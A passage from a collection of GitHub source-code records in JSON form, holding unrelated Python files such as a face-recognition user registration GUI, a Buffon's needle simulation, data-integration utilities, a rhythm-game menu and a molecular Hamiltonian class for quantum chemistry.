ImageTk.PhotoImage(image=self.most_recent_capture_pil)\n        label.imgtk = imgtk\n        label.configure(image=imgtk)\n\n        self.register_new_user_capture = self.most_recent_capture_arr.copy()\n\n    def start(self):\n        self.main_window.mainloop()\n\n    def accept_register_new_user(self):\n        name = self.entry_text_register_new_user.get(1.0, \"end-1c\")\n        SeatLevel = self.entry_text_register_new_user1.get(1.0, \"end-1c\")\n        VolumeLevel = self.entry_text_register_new_user2.get(1.0, \"end-1c\")\n        namecheck = util.recognize(self.most_recent_capture_arr,self.db_dir)\n        if namecheck == 'unknown_person' or namecheck=='no_persons_found':\n            if name and SeatLevel and VolumeLevel:\n                \n                filename = 'users/{}.txt'.format(name)\n                if os.path.exists(filename):\n                    util.msg_box('User exists',f\"User '{name}' already exists.\")\n                    self.register_new_user_window.destroy()\n                else:\n                    alles = []\n                    if SeatLevel.isdigit() and VolumeLevel.isdigit():\n                        \n                        alles.append(name)\n                        alles.append(SeatLevel)\n                        alles.append(VolumeLevel)\n                        alles.append('0')\n                        joined = ','.join(alles)\n                        embeddings = face_recognition.face_encodings(self.register_new_user_capture)[0]\n\n                        file = open(os.path.join(self.db_dir, '{}.pickle'.format(name)), 'wb')\n                        pickle.dump(embeddings, file)\n                        print('joined', joined)\n                        with open(filename, 'w') as file:\n                            file.write(joined)\n\n                        util.msg_box('Success!', 'User was registered successfully !')\n                        self.register_new_user_window.destroy()\n                    else:\n                        util.msg_box('Error!', 'Only integer values for seat and volume level are allowed!')\n            else:\n                util.msg_box('Welcome Back', 'Welcome, {}.'.format(name))\n        else:\n            util.msg_box('Error', '{}, You already exist!'.format(namecheck))\n            self.register_new_user_window.destroy()\n        \n\n\n\nif __name__ == \"__main__\":\n    app = App()\n    app.start()\n","repo_name":"demaM0/Drive-Guard","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":24252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"982211447","text":"\"\"\"\nThe map function takes a function, and an iterable, \nand returns a new iterable with the function applied \nto it. \n\"\"\"\n\ndef add_five(x):\n    return x + 5\n\nnums = [11, 22, 33, 44, 55]\nresult = list(map(add_five, nums))\nprint(result)\n\n\nnums = [11, 22, 33, 44, 55]\n\nresult = list(map(lambda x: x + 5, nums))\nprint(result)\n\n\n###########################################\n\n\n\"\"\"\nThe filter function filters an iterable by removing items\nthat do not match a predicate. \n\"\"\"\n\n\nnums = [11, 22, 33, 44, 55]\nresult = list(filter(lambda x: x%2==0, nums))\nprint(result)","repo_name":"CajunKing80/Python-Programming","sub_path":"SoloLearn Projects/Python/7. Functional Programming/65 Map & Filter/65.1 Lesson.py","file_name":"65.1 Lesson.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"33247639555","text":"import create\nimport edit\nimport delete\n#MAIN CONDITION\nif __name__ == '__main__':\n    default_path = \"C:/Users/Amito/Desktop/File Manager/\"\n    a = int(input(\"Press...\\n- (1) to create a new file? \\n- (2) to read/write a file \\n- (3) to delete a file \\n\"))\n    #CREATE\n    if a == 1:\n        create.create_file(default_path)\n    #EDIT\n    if a == 2:\n        edit.edit_file()\n    #DELETE\n    if a == 3:\n        delete.delete_file()","repo_name":"amidoge/File-Manager","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12992571771","text":"from __future__ import annotations\n\nimport pathlib\nfrom typing import TYPE_CHECKING, Any\n\nfrom .. import components, datatypes\nfrom ..error_utils import catch_and_log_exceptions\n\nif TYPE_CHECKING:\n    from ..components import MediaType\n\n\ndef guess_media_type(path: str | pathlib.Path) -> MediaType | None:\n    from ..components import MediaType\n\n    ext = pathlib.Path(path).suffix.lower()\n    if ext == \".glb\":\n        return MediaType.GLB\n    elif ext == \".gltf\":\n        return MediaType.GLTF\n    elif ext == \".obj\":\n        return MediaType.OBJ\n    else:\n        return None\n\n\nclass Asset3DExt:\n    \"\"\"Extension for [Asset3D][rerun.archetypes.Asset3D].\"\"\"\n\n    def __init__(\n        self: Any,\n        *,\n        path: str | pathlib.Path | None = None,\n        contents: components.BlobLike | None = None,\n        media_type: datatypes.Utf8Like | None = None,\n        transform: datatypes.Transform3DLike | None = None,\n    ):\n        \"\"\"\n        Create a new instance of the Asset3D archetype.\n\n        Parameters\n        ----------\n        path:\n            A path to an file stored on the local filesystem. Mutually\n            exclusive with `contents`.\n\n        contents:\n            The contents of the file. Can be a BufferedReader, BytesIO, or\n            bytes. Mutually exclusive with `path`.\n\n        media_type:\n            The Media Type of the asset.\n\n            For instance:\n             * `model/gltf-binary`\n             * `model/obj`\n\n            If omitted, it will be guessed from the `path` (if any),\n            or the viewer will try to guess from the contents (magic header).\n            If the media type cannot be guessed, the viewer won't be able to render the asset.\n\n        transform:\n            An out-of-tree transform.\n\n            Applies a transformation to the asset itself without impacting its children.\n        \"\"\"\n\n        with catch_and_log_exceptions(context=self.__class__.__name__):\n            if (path is None) == (contents is None):\n                raise ValueError(\"Must provide exactly one of 'path' or 'contents'\")\n\n            if path is None:\n                blob = contents\n            else:\n                blob = pathlib.Path(path).read_bytes()\n                if media_type is None:\n                    media_type = guess_media_type(str(path))\n\n            self.__attrs_init__(blob=blob, media_type=media_type, transform=transform)\n            return\n\n        self.__attrs_clear__()\n","repo_name":"rerun-io/rerun","sub_path":"rerun_py/rerun_sdk/rerun/archetypes/asset3d_ext.py","file_name":"asset3d_ext.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":3502,"dataset":"github-code","pt":"38"}
{"seq_id":"29567856907","text":"import pandas as pd\nimport numpy as np\nimport pickle\n\nwith open('data/final_sales_history.pkl', 'rb') as picklefile:\n    sales_history = pickle.load(picklefile)\n\nsales_history.head()\n\n## Add a num_sales (frequency) column\nsales_history['num_sales'] = sales_history.groupby('shoe_name')['shoe_name'].transform('count')\n\n## Limit everything below this to shoes with over 50 sales recorded\nprint(len(sales_history))\nsales_history = sales_history[sales_history.num_sales > 50]\nprint(len(sales_history))\n\n# Creates the shoe_info csv for the flask app\ninfo_cols = ['release_date', 'image_url', 'style_code', 'colorway', 'original_retail',\n                          'main_color', 'line', 'brand']\n\nsales_history = sales_history.set_index(['name', 'sale_date_time'])\nshoe_info = sales_history[info_cols].reset_index()\n\n# number of transactions in last month\nshoe_info = shoe_info[shoe_info.sale_date_time > '2017-02-21']\nshoe_info['transactions_last_month'] = shoe_info.groupby('name')['name'].transform('count')\n\n# shoe image URL - remove extra stuff at the end\nshoe_info.image_url = shoe_info['image_url'].apply(lambda x: x.split('?')[0])\nshoe_info = shoe_info.drop('sale_date_time', 1)\nshoe_info = shoe_info.drop_duplicates()\nprint(shoe_info.head())\n\n# send to CSV\nshoe_info.to_csv('data/shoe_info.csv', index = False)\n\n# For the historical sales chart \nchart_data = sales_history.reset_index()\nchart_data = chart_data.set_index('sale_date_time')\nchart_data['date'] = chart_data.index.date\nchart_data = chart_data.reset_index()\nchart_data = chart_data[['name', 'sale_date', 'sale_price']].groupby(['name', 'sale_date'])\n\nchart_data = chart_data.aggregate(['count', 'mean', 'min', 'max']).reset_index()\nchart_data.columns = chart_data.columns.droplevel(0)\nchart_data = pd.DataFrame(chart_data)\n\n# rename columns for clarity\nchart_data.columns = ['name', 'date', 'volume', 'sale_mean', 'sale_min', 'sale_max']\nchart_data.sale_mean = chart_data['sale_mean'].apply(lambda x: round(x))\n\n# write to CSV\nchart_data.to_csv('data/chart_data.csv', index = False)\nprint(chart_data.head())\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/sneaker_tables.py","file_name":"sneaker_tables.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"27274521616","text":"\"\"\"Utils for dataintegration plugins.\"\"\"\nimport os\nimport re\nfrom typing import Optional\n\nfrom cmem.cmempy.workspace.projects.datasets.dataset import post_resource\n\nfrom cmem_plugin_base.dataintegration.context import UserContext\n\n\ndef generate_id(name: str) -> str:\n    \"\"\"Generates a valid DataIntegration identifier from a string.\n    Characters that are not allowed in an identifier are removed.\n    \"\"\"\n    return re.sub(r\"[^a-zA-Z0-9_-]\", \"\", name)\n\n\ndef setup_cmempy_user_access(context: Optional[UserContext]):\n    \"\"\"Setup environment for accessing CMEM with cmempy.\"\"\"\n    if context is None:\n        raise ValueError(\"No UserContext given.\")\n    if context.token() is None:\n        raise ValueError(\"UserContext has no token.\")\n    os.environ[\"OAUTH_GRANT_TYPE\"] = \"prefetched_token\"\n    os.environ[\"OAUTH_ACCESS_TOKEN\"] = context.token()\n    if \"CMEM_BASE_URI\" not in os.environ:\n        os.environ[\"CMEM_BASE_URI\"] = os.environ[\"DEPLOY_BASE_URL\"]\n\n\ndef setup_cmempy_super_user_access():\n    \"\"\"Setup environment for accessing CMEM with cmempy.\n\n    The helper function is used to setup the environment for accessing CMEM with cmempy.\n    It does nothing if there is already a working environment.\n    If not, it will try to use the configured DI environment.\n    \"\"\"\n    try:\n        os.environ[\"OAUTH_GRANT_TYPE\"] = \"client_credentials\"\n        if \"CMEM_BASE_URI\" not in os.environ:\n            os.environ[\"CMEM_BASE_URI\"] = os.environ[\"DEPLOY_BASE_URL\"]\n        if \"OAUTH_CLIENT_ID\" not in os.environ:\n            os.environ[\"OAUTH_CLIENT_ID\"] = os.environ[\n                \"DATAINTEGRATION_CMEM_SERVICE_CLIENT\"\n            ]\n        if \"OAUTH_CLIENT_SECRET\" not in os.environ:\n            os.environ[\"OAUTH_CLIENT_SECRET\"] = os.environ[\n                \"DATAINTEGRATION_CMEM_SERVICE_CLIENT_SECRET\"\n            ]\n    except KeyError as error:\n        raise ValueError(\"Super user configuration not available.\") from error\n\n\ndef split_task_id(task_id: str) -> tuple:\n    \"\"\"Split a combined task ID.\n\n    Args:\n        task_id (str): The combined task ID.\n\n    Returns:\n        The project and task ID\n\n    Raises:\n        ValueError: in case the task ID is not splittable\n    \"\"\"\n    try:\n        project_part = task_id.split(\":\")[0]\n        task_part = task_id.split(\":\")[1]\n    except IndexError as error:\n        raise ValueError(f\"{task_id} is not a valid task ID.\") from error\n    return project_part, task_part\n\n\ndef write_to_dataset(\n    dataset_id: str, file_resource=None, context: Optional[UserContext] = None\n):\n    \"\"\"Write to a dataset.\n\n    Args:\n        dataset_id (str): The combined task ID.\n        file_resource (file stream): Already opened byte file stream\n        context (UserContext):\n            The user context to setup environment for accessing CMEM with cmempy.\n\n    Returns:\n        requests.Response object\n\n    Raises:\n        ValueError: in case the task ID is not splittable\n        ValueError: missing parameter\n    \"\"\"\n    setup_cmempy_user_access(context=context)\n    project_id, task_id = split_task_id(dataset_id)\n\n    return post_resource(\n        project_id=project_id,\n        dataset_id=task_id,\n        file_resource=file_resource,\n    )\n","repo_name":"eccenca/cmem-plugin-base","sub_path":"cmem_plugin_base/dataintegration/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12967266881","text":"def is_trap(row, pos):\n    return (pos - 1 >= 0 and row[pos - 1]) != (pos + 1 < len(row) and row[pos + 1])\n\n\ndef answer(first_row, n):\n    row = [(c == \"^\") for c in first_row]\n    count = row.count(False)\n    for i in range(1, n):  # Generate row #i\n        row = [is_trap(row, j) for j in range(len(row))]\n        count += row.count(False)\n    return count\n\n\nif __name__ == \"__main__\":\n    r = open(\"input.txt\", \"rt\").read().strip()\n    print(\"Part 1: %d\" % (answer(r, 40),))\n    print(\"Part 2: %d\" % (answer(r, 400000),))\n","repo_name":"dmendelsohn/advent_of_code","sub_path":"python/src/year2016/day18/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"24458277135","text":"# -------------------------------------------------------------------------\n# * A Monte Carlo simulation of Buffon's needle experiment. \n# * \n# * Name              : buffon.c \n# * Author            : Steve Park & Dave Geyer \n# * Language          : ANSI C\n# * Latest Revision   : 9-11-98 \n#   Translated by   : Philip Steele \n#   Language        : Python 3.3\n#   Latest Revision : 3/26/14\n# * ------------------------------------------------------------------------- \n# */\n\nfrom rng import random, putSeed, getSeed\nfrom math import cos, atan\n\nN =      10000                      # number of replications */\nHALF_PI =(2.0 * atan(1.0))          # 1.5707963...           */\nR   =    1.0                        # length of the needle   */\n\ndef Uniform(a,b):  \n# --------------------------------------------\n# * generate a Uniform random variate, use a < b \n# * --------------------------------------------\n# */\n  return (a + (b - a) * random())  \n\n################################Main Program#############################\n\nputSeed(-1)                   # any negative integer will do      */\nseed = getSeed()              # trap the value of the intial seed */\ncrosses = 0                   # tracks number of crosses\n\nfor i in range(0,N):                \n  u     = random() #get first endpoint                                  \n  theta = Uniform(-HALF_PI, HALF_PI) #get Angle\n  v     = u + R * cos(theta) #get second endpoint\n  if (v > 1.0):\n    crosses += 1 #increase number of crosses\n\n\np = float(crosses / N)                # estimate the probability */\n\nprint(\"\\nbased on {0:1d} replications and a needle of length {1:5.2f}\".format(N, R))\nprint(\"with an initial seed of {0:1d}\".format(seed))\nprint(\"the estimated probability of a cross is {0:5.3f}\".format(p))\n\n#C output:\n# based on 10000 replications and a needle of length  1.00\n# with an initial seed of 1396907952\n# the estimated probability of a cross is 0.640","repo_name":"pdsteele/DES-Python","sub_path":"buffon.py","file_name":"buffon.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"}
{"seq_id":"71747738032","text":"lista = []\nwhile True:\n    num = int(input('Digite um número: '))\n    lista.append(num)\n    resp = str(input('Quer continuar? [S/N] ')).strip().upper()\n    if resp in 'Nn':\n        break\nlista.sort(reverse=True)\nprint(f'Foram digitados {len(lista)} números.')\nprint(f'Lista de valores na ordem decrescente: {lista}')\nif 5 in lista:\n    print('O valor 5 está na lista.')\nelse:\n    print('O valor 5 não está na lista.')\n","repo_name":"arthxvrr/coding--python","sub_path":"CursoemVideo/ex081.py","file_name":"ex081.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22639274859","text":"# HomeMode class: home screen that allows user to navigate through the game\n\nfrom cmu_112_graphics import *\n\n# HomeMode class\nclass HomeMode(Mode):\n    def appStarted(mode):\n        mode.initButtonDimensions()\n        mode.initBackground()\n\n    # button dimensions\n    def initButtonDimensions(mode):\n        mode.buttonCoords = []\n        numberOfButtons = 3\n        width = 100\n        height = 50\n        margin = 20\n        sideOffset = mode.width / 2 - width / 2 - margin - width\n        topOffset = mode.height / 2\n        for i in range(numberOfButtons):\n            bx0 = sideOffset + i * width + margin * i\n            bx1 = bx0 + width\n            by0 = topOffset\n            by1 = topOffset + height\n            mode.buttonCoords.append((bx0, bx1, by0, by1))\n        width = 50\n        height = 20\n        bx1 = mode.width - 20\n        bx0 = bx1 - width\n        by1 = mode.height - 20\n        by0 = by1 - width\n        mode.buttonCoords.append((bx0, bx1, by0, by1))\n        mode.buttonText = ['Play', 'Create', 'Scores', 'Help']\n        mode.buttonModes = [mode.app.PlayMode, mode.app.CreateMode, mode.app.ScoreMode, mode.app.HelpMode]\n\n    def keyPressed(mode, event):\n        if event.key == 'p':\n            mode.app.setActiveMode(mode.app.PlayMode)\n        elif event.key == 's':\n            mode.app.setActiveMode(mode.app.ScoreMode)\n        elif event.key == 'c':\n            mode.app.setActiveMode(mode.app.CreateMode)\n\n    def mousePressed(mode, event):\n        x, y = event.x, event.y\n        mode.checkPressedButtons(x, y)\n\n    # check if buttons are pressed\n    def checkPressedButtons(mode, x, y):\n        for i in range(len(mode.buttonCoords)):\n            bx0, bx1, by0, by1 = mode.buttonCoords[i]\n            if bx0 < x < bx1 and by0 < y < by1:\n                mode.app.setActiveMode(mode.buttonModes[i])\n\n    # draw buttons\n    def drawButtons(mode, canvas):\n        for i in range(len(mode.buttonCoords)):\n            bx0, bx1, by0, by1 = mode.buttonCoords[i]\n            if i != 3:\n                canvas.create_rectangle(bx0, by0, bx1, by1, fill='black', outline='white', width=4)\n                style = 'System 24 bold'\n            else:\n                style = 'System 18 bold'\n            textX, textY = (bx0 + bx1) / 2, (by0 + by1) / 2\n            canvas.create_text(textX, textY, text=mode.buttonText[i], font=style, fill='white')\n\n    # retreive background image\n    def initBackground(mode):\n        # image from https://www.mobilebeat.com/wp-content/uploads/2016/07/Background-Music-768x576-1280x720.jpg\n        mode.background = mode.scaleImage(mode.loadImage(\"pictures/homebackground.png\"), 1/2)\n    \n    # draw background\n    def drawBackground(mode, canvas):\n        canvas.create_image(mode.width / 2, mode.height / 2, image=ImageTk.PhotoImage(mode.background))\n\n    def redrawAll(mode, canvas):\n        canvas.create_rectangle(0, 0, mode.width, mode.height, fill='black')\n        mode.drawBackground(canvas)\n        canvas.create_text(mode.width / 2, mode.height / 3,\n                           text='Rhythm Keys!', fill='white', font='System 48 bold')\n        mode.drawButtons(canvas)\n","repo_name":"karenjennyli/Rhythm-Keys","sub_path":"homeMode.py","file_name":"homeMode.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72857286512","text":"from hqca.core import *\nfrom functools import reduce\nimport sys\nfrom copy import deepcopy as copy\nfrom hqca.tools import *\nfrom hqca.operators import *\nimport numpy as np\nfrom pyscf import gto,mcscf,scf\nimport timeit\nfrom timeit import default_timer as dt\n\nclass MolecularHamiltonian(Hamiltonian):\n    def __init__(self,\n            mol,\n            transform=None,\n            int_thresh=1e-14,\n            active_space=None,\n            integral_basis='hf',\n            generate_operators=True,\n            verbose=True,\n            en_c=None,\n            solver='casci',\n            print_transformed=True,\n            compact_K2=False,\n            ):\n        if verbose:\n            print('-- -- -- -- -- -- -- -- -- -- --')\n            print('      -- HAMILTONIAN --  ')\n            print('-- -- -- -- -- -- -- -- -- -- --')\n        self._mo_basis = integral_basis\n        self.verbose = verbose\n        self.S = mol.intor('int1e_ovlp')\n        self.T_1e = mol.intor('int1e_kin')\n        self.V_1e = mol.intor('int1e_nuc')\n        self.ints_1e_ao = self.V_1e+self.T_1e\n        self._model='molecule'\n        self.ints_2e_ao = mol.intor('int2e')\n        self.real=True\n        self.imag=False\n        self._print_transformed=print_transformed\n        self._compact = compact_K2\n        self._transform = transform\n        if type(transform)==type(None):\n            raise HamiltonianError('Need to specify transform for Hamiltonian.')\n        self.hf = scf.ROHF(mol)\n        self.hf.kernel()\n        self.hf.analyze()\n        self.e0 = self.hf.e_tot\n        self.C = self.hf.mo_coeff\n        self.f = self.hf.get_fock()\n        self._order = 2\n        self.mol = mol\n        if isinstance(active_space,tuple) or isinstance(active_space,list):\n            self._use_active_space = True\n            self.Ne_as = int(active_space[0])\n            self.No_as = int(active_space[1])\n        else:\n            self.No_as = self.C.shape[0]\n            self._use_active_space = False\n            self.Ne_as = mol.nelec[0]+mol.nelec[1]\n        self.Ne_tot = mol.nelec[0]+mol.nelec[1]\n        self.Ne_core = self.Ne_tot - self.Ne_as\n        self.Ne_alp = mol.nelec[0]-self.Ne_core//2\n        self.Ne_bet = mol.nelec[1]-self.Ne_core//2\n        self.No_core = self.Ne_core//2\n        self._core = [i for i in range(self.No_core)]\n        self._active = [i+self.No_core for i in range(self.No_as)]\n        if self.verbose:\n            print('Hartree-Fock Energy: {:.12f}'.format(float(self.hf.e_tot)))\n        self.No_tot = self.C.shape[0]\n        self.r = 2*self.No_as\n        if self.verbose:\n            print('N electrons total: {}'.format(self.Ne_tot))\n            print('N electrons active: {}'.format(self.Ne_as))\n            print('N core orbitals: {}'.format(self.No_core))\n            print('N active orbitals: {}'.format(self.No_as))\n\n        self._generate_spin2spac_mapping()\n        if solver in ['casci','fci','ci'] and self.No_as<=8:\n            self.mc = mcscf.CASCI(\n                    self.hf,\n                    self.No_as,\n                    self.Ne_as)\n            self.mc.fcisolver.nroots = 4\n            self.mc.kernel()\n            if abs(self.mc.e_tot[1]-self.mc.e_tot[0])<0.01:\n                print('Energy gaps:')\n                for i in range(self.mc.fcisolver.nroots-1):\n                    print(self.mc.e_tot[i+1]-self.mc.e_tot[i])\n                print('Ground excited state energy gap less than 10 mH')\n            self.ef  = self.mc.e_tot[0]\n            self.mc_coeff = self.mc.mo_coeff\n            if self.verbose:\n                print('CASCI Energy: {:.12f}'.format(float(self.ef)))\n\n        elif solver in ['casscf']:\n            n_states = 2\n            weights = np.ones(n_states)/n_states\n            self.mc = mcscf.CASSCF(\n                    self.hf,\n                    self.No_as,\n                    self.Ne_as).state_average_((1,0,0))\n            self.mc.kernel()\n            self.ef  = self.mc.e_tot\n            self.mc_coeff = self.mc.mo_coeff\n            if self.verbose:\n                print('CASSCF Energy: {:.8f}'.format(float(self.ef)))\n        else:\n            self.ef = 0\n        self.spin = mol.spin\n        self.Ci = np.linalg.inv(self.C)\n        self._generate_active_space()\n        if self._mo_basis in ['default','hf']:\n            mo_coeff_a,mo_coeff_b = copy(self.C),copy(self.C)\n        elif self._mo_basis in ['no','natural','canonical']:\n            print('Stating with natural orbital.... ')\n            mo_coeff_a,mo_coeff_b = self.mc_coeff,self.mc_coeff\n        if verbose:\n            print('Transforming 1e integrals...')\n        self.energy_nuclear = mol.energy_nuc()\n        self._gen_operators = generate_operators\n        self._int_thresh = int_thresh\n        self._update_ints(mo_coeff_a,mo_coeff_b)\n\n    def _update_ints(self,mo_coeff_a,mo_coeff_b):\n        self.mo_a =  mo_coeff_a\n        self.mo_b = mo_coeff_b\n        self.ints_1e = generate_spin_1ei(\n                self.ints_1e_ao.copy(),\n                mo_coeff_a.T,\n                mo_coeff_b.T,\n                self.alpha_mo,\n                self.beta_mo,\n                region='full',\n                spin2spac=self.s2s\n                )\n        self.ints_2e = generate_spin_2ei(\n                self.ints_2e_ao.copy(),\n                mo_coeff_a.T,\n                mo_coeff_b.T,\n                self.alpha_mo,\n                self.beta_mo,\n                region='full',\n                spin2spac=self.s2s\n                )\n        self._build_K2()\n        if self._gen_operators:\n            self._build_operator(self._int_thresh)\n        else:\n            self._qubOp = None\n            self._ferOp = None\n\n\n    def _build_K2(self):\n        self.K2 = np.zeros((self.r, self.r, self.r, self.r))\n        if self._use_active_space:\n            active = self.alpha_mo['active']+self.beta_mo['active']\n            core = self.alpha_mo['inactive'] + self.beta_mo['inactive']\n            core_1e = np.zeros((self.r,self.r))\n            for i in range(0,self.r):\n                I = active[i]\n                for j in range(0,self.r):\n                    J = active[j]\n                    core_1e[i,j]+= self.ints_1e[I,J]\n                    for k in range(0,self.No_core*2):\n                        # active-core electrons\n                        K = core[k]\n                        core_1e[i,j]+= self.ints_2e[I,K,J,K]\n                        core_1e[i,j]-= self.ints_2e[I,K,K,J]\n                    for k in range(0,self.r):\n                        # active active 1e\n                        K = active[k]\n                        self.K2[i,k,j,k]+= core_1e[i,j]/(4*(self.Ne_as-1))\n                        self.K2[k,i,k,j]+= core_1e[i,j]/(4*(self.Ne_as-1))\n                        self.K2[i,k,k,j]-= core_1e[i,j]/(4*(self.Ne_as-1))\n                        self.K2[k,i,j,k]-= core_1e[i,j]/(4*(self.Ne_as-1))\n                        for l in range(0,self.r):\n                            # active active 2e\n                            L = active[l]\n                            self.K2[i,k,j,l]+= 0.5*self.ints_2e[I,K,J,L]\n        else:\n            self.K2+= self.ints_2e*0.5\n            for i in range(0,self.r):\n                for j in range(0,self.r):\n                    for k in range(self.r):\n                        self.K2[i, k, j, k] += self.ints_1e[i, j] / (4 * (self.Ne_tot - 1))\n                        self.K2[k, i, k, j] += self.ints_1e[i, j] / (4 * (self.Ne_tot - 1))\n                        self.K2[i, k, k, j] -= self.ints_1e[i, j] / (4 * (self.Ne_tot - 1))\n                        self.K2[k, i, j, k] -= self.ints_1e[i, j] / (4 * (self.Ne_tot - 1))\n                        #self.K2[i, k, j, k]+= self.ints_1e[i, j] / (2 * (self.Ne_tot - 1))\n                        #self.K2[k, i, k, j]+= self.ints_1e[i, j] / (2 * (self.Ne_tot - 1))\n        self._matrix = contract(self.K2)\n        self._model = 'molecular'\n        if self._use_active_space:\n            # need to trace over the other degrees of freedom...i.e.\n            core_ab = self.alpha_mo['inactive']+self.beta_mo['inactive']\n            E_core = 0\n            for i in core_ab:\n                E_core += self.ints_1e[i,i]\n                for j in core_ab:\n                    E_core+= 0.5*self.ints_2e[i,j,i,j]\n                    E_core-= 0.5*self.ints_2e[i,j,j,i]\n            self._en_c = E_core+self.energy_nuclear\n        else:\n            self._en_c = self.energy_nuclear\n        if self.verbose:\n            print('Core energy', self._en_c)\n\n\n\n    @property\n    def order(self):\n        return self._order\n\n    @property\n    def qubit_operator(self):\n        return self._qubOp\n\n    @qubit_operator.setter\n    def qubit_operator(self,b):\n        self._qubOp = b\n\n    @property\n    def fermi_operator(self):\n        return self._ferOp\n\n    @fermi_operator.setter\n    def fermi_operator(self,b):\n        self._ferOp = b\n\n    @property\n    def matrix(self):\n        return self._matrix\n\n\n    def _update_integrals(self):\n        pass\n\n    def _generate_active_space(self,\n            spin_mapping='default',\n            **kw\n            ):\n        '''\n        Note, all orb references are in spatial orbitals. \n        '''\n        self.No_v = self.No_tot - self.No_core-self.No_as\n        self.alpha_mo={\n                'inactive':[i for i in range(self.No_core)],\n                'active':[i+self.No_core for i in range(self.No_as)],\n                'virtual':[self.No_tot-self.No_v+i for i in range(self.No_v)],\n                'qubit':[i for i in range(self.No_as)]\n                }\n        self.beta_mo={\n                'inactive':[i+self.No_tot for i in range(self.No_core)],\n                'active':[i+self.No_core+self.No_tot for i in range(self.No_as)],\n                'virtual':[i+2*self.No_tot-self.No_v for i in range(self.No_v)],\n                'qubit':[i+self.No_as for i in range(self.No_as)]\n                }\n        #print(self.alpha_mo)\n        #print(self.beta_mo)\n        self.spin = spin_mapping\n        self.No_v  = self.No_tot-self.No_core-self.No_as\n\n    def _generate_spin2spac_mapping(self):\n        self.s2s = {}\n        for i in range(0,self.No_tot):\n            self.s2s[i]=i\n        for i in range(self.No_tot,2*self.No_tot):\n            self.s2s[i]=i-self.No_tot\n\n\n\n    def _build_operator(self,int_thresh=1e-14,compact=False):\n        if self.verbose:\n            print('Time: ')\n        t1 = timeit.default_timer()\n        alp = self.alpha_mo['active']\n        bet = self.beta_mo['active']\n        o2q = {}\n        for i in range(self.No_as):\n            o2q[alp[i]]=i\n            o2q[bet[i]]=i+self.No_as\n        qubOp = Operator()\n        ferOp = Operator()\n        # 1e terms\n        #\n        #\n        for p in alp+bet:\n            P = o2q[p]\n            for q in alp+bet:\n                Q = o2q[q]\n                if abs(self.ints_1e[p,q])<=int_thresh:\n                    continue\n                newOp = FermiString(\n                        N=len(alp+bet),\n                        coeff=self.ints_1e[p,q],\n                        indices=[P,Q],\n                        ops='+-',\n                        )\n                ferOp+= newOp\n        t2 = timeit.default_timer()\n        if self.verbose:\n            print('1e terms: {}'.format(t2-t1))\n        t_transform = 0\n        n=0\n        # starting 2 electron terms\n        for p in alp+bet:\n            P = o2q[p]\n            for r in alp+bet:\n                R = o2q[r]\n                if p==r:\n                     continue\n                i1 = (p==r)\n                for s in alp+bet:\n                    S = o2q[s]\n                    i2,i3 = (s==p),(s==r)\n                    if i1+i2+i3==3:\n                        continue\n                    for q in alp+bet:\n                        Q = o2q[q]\n                        i4,i5,i6 = (q==p),(q==r),(q==s)\n                        if i1+i2+i3+i4+i5+i6>=3:\n                            continue\n                        if q==s:\n                            continue\n                        if abs(self.ints_2e[p,r,q,s])<=int_thresh:\n                            continue\n                        #if abs(self.K2[P,R,Q,S])<=int_thresh:\n                        #    continue\n                        newOp = FermiString(\n                                N=len(alp+bet),\n                                coeff=0.5*self.ints_2e[p,r,q,s],\n                                #coeff=self.K2[P,R,Q,S],\n                                indices=[P,R,S,Q],\n                                ops='++--',\n                                )\n                        ferOp+= newOp\n                        #t0 = dt()\n                        #qubOp+= self._transform(newOp)\n                        #t_transform+= dt()-t0\n                        #n+=1\n        t3 = timeit.default_timer()\n        #ferOp += FermiString(\n        #                s = 'i'*len(alp+bet),\n        #                coeff=copy(self._en_c)\n        #                )\n        #self._en_c = 0 \n        if self.verbose:\n            print('2e terms: {}'.format(t3-t2))\n        new = ferOp.transform(self._transform)\n        qubOp = Operator()\n        for i in new:\n            if abs(i.c)>int_thresh:\n                qubOp+= i\n        qubOp.clean(1e-8)\n        ferOp.clean(1e-8)\n        self._qubOp = qubOp\n        self._ferOp = ferOp\n        t4 = timeit.default_timer()\n        if self.verbose:\n            print('2e transform: {}'.format(t4-t3))\n        print('2e transform: {}'.format(t_transform))\n        # adding identitiy\n        try:\n            lq = len(next(iter(qubOp)).s)\n        except StopIteration:\n            fer = Operator()+FermiString(s='i'*len(alp+bet),coeff=1)\n            qub = fer.transform(self._transform)\n            lq = len(next(iter(qub)).s)\n        iden = PauliString(coeff=copy(self._en_c),pauli='I'*lq)\n        qubOp += iden\n        #if self.verbose and self._print_transformed:\n        print('2e terms: {}'.format(t3-t2))\n        print('-- -- -- -- -- -- -- -- -- -- --')\n        #    print('Second Quantized Hamiltonian')\n        #    print(ferOp)\n        #    print('Pauli String Hamiltonian:')\n        #    print(qubOp)\n        #    print('-- -- -- -- -- -- -- -- -- -- --')\n\n\n\n    def pivoted_chol(self, M='max',err_tol = 1e-6):\n        \"\"\"\n    #  pivoted_chol.py Author \"Nathan Wycoff <nathanbrwycoff@gmail.com>\" Date 01.14.2020\n    \n    ## A pivoted cholesky function for kernel 